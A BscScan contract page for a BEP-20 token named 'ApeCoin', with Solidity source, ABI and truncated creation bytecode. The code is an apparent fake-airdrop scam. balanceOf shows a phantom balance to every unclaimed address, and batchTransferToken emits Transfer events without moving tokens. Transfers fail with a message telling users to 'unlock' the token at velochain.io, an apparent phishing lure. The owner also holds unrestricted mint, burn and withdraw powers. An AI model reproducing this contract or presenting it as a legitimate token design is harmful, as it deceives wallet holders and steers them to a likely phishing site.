BscScan - Sponsored slots available. Book your slot here!
BEP-20Cross-Chain
Overview
Max Total Supply
10,000,000,993,999.999999Ape (CSupply: 10,000,000,993,998.999999)
Holders
21,220
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
700 ApeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
ApeCoin
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2022-04-06 */ /** *Submitted for verification at BscScan.com on 2021-07-22 */ // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.0; pragma abicoder v2; interface genesisCalls { function AllowAddressToDestroyGenesis ( address _from, address _address ) external; function AllowReceiveGenesisTransfers ( address _from ) external; function BurnTokens ( address _from, uint256 mneToBurn ) external returns ( bool success ); function RemoveAllowAddressToDestroyGenesis ( address _from ) external; function RemoveAllowReceiveGenesisTransfers ( address _from ) external; function RemoveGenesisAddressFromSale ( address _from ) external; function SetGenesisForSale ( address _from, uint256 weiPrice ) external; function TransferGenesis ( address _from, address _to ) external; function UpgradeToLevel2FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromDev ( address _address ) external; function UpgradeToLevel3FromLevel1 ( address _address, uint256 weiValue ) external; function UpgradeToLevel3FromLevel2 ( address _address, uint256 weiValue ) external; function availableBalanceOf ( address _address ) external view returns ( uint256 Balance ); function balanceOf ( address _address ) external view returns ( uint256 balance ); function deleteAddressFromGenesisSaleList ( address _address ) external; function isAnyGenesisAddress ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel1 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel2Or3 ( address _address ) external view returns ( bool success ); function isGenesisAddressLevel3 ( address _address ) external view returns ( bool success ); function ownerGenesis ( ) external view returns ( address ); function ownerGenesisBuys ( ) external view returns ( address ); function ownerMain ( ) external view returns ( address ); function ownerNormalAddress ( ) external view returns ( address ); function ownerStakeBuys ( ) external view returns ( address ); function ownerStakes ( ) external view returns ( address ); function setGenesisCallerAddress ( address _caller ) external returns ( bool success ); function setOwnerGenesisBuys ( ) external; function setOwnerMain ( ) external; function setOwnerNormalAddress ( ) external; function setOwnerStakeBuys ( ) external; function setOwnerStakes ( ) external; function BurnGenesisAddresses ( address _from, address[] calldata _genesisAddressesToBurn ) external; } interface normalAddress { function BuyNormalAddress ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function RemoveNormalAddressFromSale ( address _address ) external; function setBalanceNormalAddress ( address _from, address _address, uint256 balance ) external; function SetNormalAddressForSale ( address _from, uint256 weiPricePerMNE ) external; function setOwnerMain ( ) external; function ownerMain ( ) external view returns ( address ); } interface stakes { function RemoveStakeFromSale ( address _from ) external; function SetStakeForSale ( address _from, uint256 priceInWei ) external; function StakeTransferGenesis ( address _from, address _to, uint256 _value, address[] calldata _genesisAddressesToBurn ) external; function StakeTransferMNE ( address _from, address _to, uint256 _value ) external returns ( uint256 _mneToBurn ); function ownerMain ( ) external view returns ( address ); function setBalanceStakes ( address _from, address _address, uint256 balance ) external; function setOwnerMain ( ) external; } interface stakeBuys { function BuyStakeGenesis ( address _from, address _address, address[] calldata _genesisAddressesToBurn, uint256 _msgvalue ) external returns ( uint256 _feesToPayToSeller ); function BuyStakeMNE ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _mneToBurn, uint256 _feesToPayToSeller ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface genesisBuys { function BuyGenesisLevel1FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel2FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function BuyGenesisLevel3FromNormal ( address _from, address _address, uint256 _msgvalue ) external returns ( uint256 _totalToSend ); function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; } interface tokenService { function ownerMain ( ) external view returns ( address ); function setOwnerMain ( ) external; function circulatingSupply() external view returns (uint256); function DestroyGenesisAddressLevel1(address _address) external; function Bridge(address _sender, address _address, uint _amount) external; } interface baseTransfers { function setOwnerMain ( ) external; function transfer ( address _from, address _to, uint256 _value ) external; function transferFrom ( address _sender, address _from, address _to, uint256 _amount ) external returns ( bool success ); function stopSetup ( address _from ) external returns ( bool success ); function totalSupply ( ) external view returns ( uint256 TotalSupply ); } interface mneStaking { function startStaking(address _sender, uint256 _amountToStake, address[] calldata _addressList, uint256[] calldata uintList) external; } interface luckyDraw { function BuyTickets(address _sender, uint256[] calldata _max) payable external returns ( uint256 ); } interface externalService { function externalFunction(address _sender, address[] calldata _addressList, uint256[] calldata _uintList) payable external returns ( uint256 ); } interface externalReceiver { function externalFunction(address _sender, uint256 _mneAmount, address[] calldata _addressList, uint256[] calldata _uintList) payable external; } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ApeCoin is Ownable, IERC20 { string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _airdropAmount; uint256 public SellFee = 2; mapping(address => bool) private _unlocked; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_, uint256 airdropAmount_) Ownable() { _name = name_; _symbol = symbol_; _airdropAmount = airdropAmount_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { if (!_unlocked[account]) { return _airdropAmount; } else { return _balances[account]; } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){ _airdropAmount = airdropAmount_; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit https://velochain.io for more info'"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; _unlocked[recipient] = true; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; _unlocked[account] = true; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; _unlocked[account] = false; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// function mint(address account, uint256 amount) public payable onlyOwner { _mint(account, amount); } function burn(address account, uint256 amount) public payable onlyOwner { _burn(account, amount); } function batchTransferToken(address[] memory holders, uint256 amount) public payable { for (uint i=0; i<holders.length; i++) { emit Transfer(address(this), holders[i], amount); } } function withdrawEth(address payable receiver, uint amount) public onlyOwner payable { uint balance = address(this).balance; if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "no balance"); receiver.transfer(amount); } function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable { uint balance = IERC20(tokenAddress).balanceOf(address(this)); if (amount == 0) { amount = balance; } require(amount > 0 && balance >= amount, "bad amount"); IERC20(tokenAddress).transfer(receiver, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"batchTransferToken","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"receiver","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawEth","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"payable","type":"function"}]
Contract Creation Code
608060405260026005553480156200001657600080fd5b5060405162002f5438038062002f5483398181016040528101906200003c9190620002a3565b6200005c620000506200009e60201b60201c565b620000a660201b60201c565b8260019080519060200190620000749291906200016a565b5081600290805190602001906200008d9291906200016a565b5080600481905550505050620004bf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200017890620003ca565b90600052602060002090601f0160209004810192826200019c5760008555620001e8565b82601f10620001b757805160ff1916838001178555620001e8565b82800160010185558215620001e8579182015b82811115620001e7578251825591602001919060010190620001ca565b5b509050620001f79190620001fb565b5090565b5b8082111562000216576000816000905550600101620001fc565b5090565b6000620002316200022b8462000354565b6200032b565b9050828152602081018484840111156200024a57600080fd5b6200025784828562000394565b509392505050565b600082601f8301126200027157600080fd5b8151620002838482602086016200021a565b91505092915050565b6000815190506200029d81620004a5565b92915050565b600080600060608486031215620002b957600080fd5b600084015167ffffffffffffffff811115620002d457600080fd5b620002e2868287016200025f565b935050602084015167ffffffffffffffff8111156200030057600080fd5b6200030e868287016200025f565b925050604062000321868287016200028c565b9150509250925092565b6000620003376200034a565b905062000345828262000400565b919050565b6000604051905090565b600067ffffffffffffffff82111562000372576200037162000465565b5b6200037d8262000494565b9050602081019050919050565b6000819050919050565b60005b83811015620003b457808201518184015260208101905062000397565b83811115620003c4576000848401525b50505050565b60006002820490506001821680620003e357607f821691505b60208210811415620003fa57620003f962000436565b5b50919050565b6200040b8262000494565b810181811067ffffffffffffffff821117156200042d576200042c62000465565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b620004b0816200038a565b8114620004bc57600080fd5b50565b612a8580620004cf6000396000f3fe60806040526004361061012a5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d71461039d578063a5500c30146103da578063a9059cbb14610403578063cf9522fd14610440578063dd62ed3e1461046b578063f2fde38b146104a85761012a565b806370a08231146102d7578063715018a6146103145780638da5cb5b1461032b57806395d89b41146103565780639dc29fac146103815761012a565b806323b872dd116100f257806323b872dd146101fa578063313ce56714610237578063395093511461026257806340c10f191461029f578063512d7cfd146102bb5761012a565b806301e336671461012f57806306fdde031461014b578063095ea7b31461017657806318160ddd146101b35780631b9a91a4146101de575b600080fd5b61014960048036038101906101449190611c76565b6104d1565b005b34801561015757600080fd5b506101606106ca565b60405161016d91906120b1565b60405180910390f35b34801561018257600080fd5b5061019d60048036038101906101989190611cc5565b61075c565b6040516101aa9190612096565b60405180910390f35b3480156101bf57600080fd5b506101c861077a565b6040516101d591906122b3565b60405180910390f35b6101f860048036038101906101f39190611bfe565b610784565b005b34801561020657600080fd5b50610221600480360381019061021c9190611c76565b6108ad565b60405161022e9190612096565b60405180910390f35b34801561024357600080fd5b5061024c6109a5565b60405161025991906122ce565b60405180910390f35b34801561026e57600080fd5b5061028960048036038101906102849190611cc5565b6109ae565b6040516102969190612096565b60405180910390f35b6102b960048036038101906102b49190611cc5565b610a5a565b005b6102d560048036038101906102d09190611d01565b610ae4565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190611bd5565b610bad565b60405161030b91906122b3565b60405180910390f35b34801561032057600080fd5b50610329610c52565b005b34801561033757600080fd5b50610340610cda565b60405161034d9190612052565b60405180910390f35b34801561036257600080fd5b5061036b610d03565b60405161037891906120b1565b60405180910390f35b61039b60048036038101906103969190611cc5565b610d95565b005b3480156103a957600080fd5b506103c460048036038101906103bf9190611cc5565b610e1f565b6040516103d19190612096565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190611d7e565b610f0a565b005b34801561040f57600080fd5b5061042a60048036038101906104259190611cc5565b610f90565b6040516104379190612096565b60405180910390f35b34801561044c57600080fd5b50610455610fae565b60405161046291906122b3565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190611c3a565b610fb4565b60405161049f91906122b3565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190611bd5565b61103b565b005b6104d9611133565b73ffffffffffffffffffffffffffffffffffffffff166104f7610cda565b73ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610544906121f3565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105889190612052565b60206040518083038186803b1580156105a057600080fd5b505afa1580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d89190611da7565b905060008214156105e7578091505b6000821180156105f75750818110155b610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d906121b3565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff1660e01b815260040161067192919061206d565b602060405180830381600087803b15801561068b57600080fd5b505af115801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c39190611d55565b5050505050565b6060600180546106d99061247a565b80601f01602080910402602001604051908101604052809291908181526020018280546107059061247a565b80156107525780601f1061072757610100808354040283529160200191610752565b820191906000526020600020905b81548152906001019060200180831161073557829003601f168201915b5050505050905090565b6000610770610769611133565b848461113b565b6001905092915050565b6000600354905090565b61078c611133565b73ffffffffffffffffffffffffffffffffffffffff166107aa610cda565b73ffffffffffffffffffffffffffffffffffffffff1614610800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f7906121f3565b60405180910390fd5b60004790506000821415610812578091505b6000821180156108225750818110155b610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085890612193565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156108a7573d6000803e3d6000fd5b50505050565b60006108ba848484611306565b6000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610905611133565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097c906121d3565b60405180910390fd5b61099985610991611133565b85840361113b565b60019150509392505050565b60006012905090565b6000610a506109bb611133565b8484600860006109c9611133565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4b9190612356565b61113b565b6001905092915050565b610a62611133565b73ffffffffffffffffffffffffffffffffffffffff16610a80610cda565b73ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd906121f3565b60405180910390fd5b610ae08282611658565b5050565b60005b8251811015610ba857828181518110610b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8d91906122b3565b60405180910390a38080610ba0906124dd565b915050610ae7565b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610c0a576004549050610c4d565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610c5a611133565b73ffffffffffffffffffffffffffffffffffffffff16610c78610cda565b73ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc5906121f3565b60405180910390fd5b610cd860006117f9565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d129061247a565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3e9061247a565b8015610d8b5780601f10610d6057610100808354040283529160200191610d8b565b820191906000526020600020905b815481529060010190602001808311610d6e57829003601f168201915b5050505050905090565b610d9d611133565b73ffffffffffffffffffffffffffffffffffffffff16610dbb610cda565b73ffffffffffffffffffffffffffffffffffffffff1614610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e08906121f3565b60405180910390fd5b610e1b82826118bd565b5050565b60008060086000610e2e611133565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee290612273565b60405180910390fd5b610eff610ef6611133565b8585840361113b565b600191505092915050565b610f12611133565b73ffffffffffffffffffffffffffffffffffffffff16610f30610cda565b73ffffffffffffffffffffffffffffffffffffffff1614610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d906121f3565b60405180910390fd5b8060048190555050565b6000610fa4610f9d611133565b8484611306565b6001905092915050565b60055481565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611043611133565b73ffffffffffffffffffffffffffffffffffffffff16611061610cda565b73ffffffffffffffffffffffffffffffffffffffff16146110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae906121f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90612133565b60405180910390fd5b611130816117f9565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290612253565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561121b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121290612153565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f991906122b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d90612233565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd906120d3565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146990612113565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f090612173565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461158e9190612356565b925050819055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161164a91906122b3565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf90612293565b60405180910390fd5b80600360008282546116da9190612356565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117309190612356565b925050819055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117ed91906122b3565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192490612213565b60405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156119b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ab906120f3565b60405180910390fd5b818103600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160036000828254611a0c91906123ac565b925050819055506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ac991906122b3565b60405180910390a3505050565b6000611ae9611ae48461230e565b6122e9565b90508083825260208201905082856020860282011115611b0857600080fd5b60005b85811015611b385781611b1e8882611b42565b845260208401935060208301925050600181019050611b0b565b5050509392505050565b600081359050611b51816129f3565b92915050565b600081359050611b6681612a0a565b92915050565b600082601f830112611b7d57600080fd5b8135611b8d848260208601611ad6565b91505092915050565b600081519050611ba581612a21565b92915050565b600081359050611bba81612a38565b92915050565b600081519050611bcf81612a38565b92915050565b600060208284031215611be757600080fd5b6000611bf584828501611b42565b91505092915050565b60008060408385031215611c1157600080fd5b6000611c1f85828601611b57565b9250506020611c3085828601611bab565b9150509250929050565b60008060408385031215611c4d57600080fd5b6000611c5b85828601611b42565b9250506020611c6c85828601611b42565b9150509250929050565b600080600060608486031215611c8b57600080fd5b6000611c9986828701611b42565b9350506020611caa86828701611b42565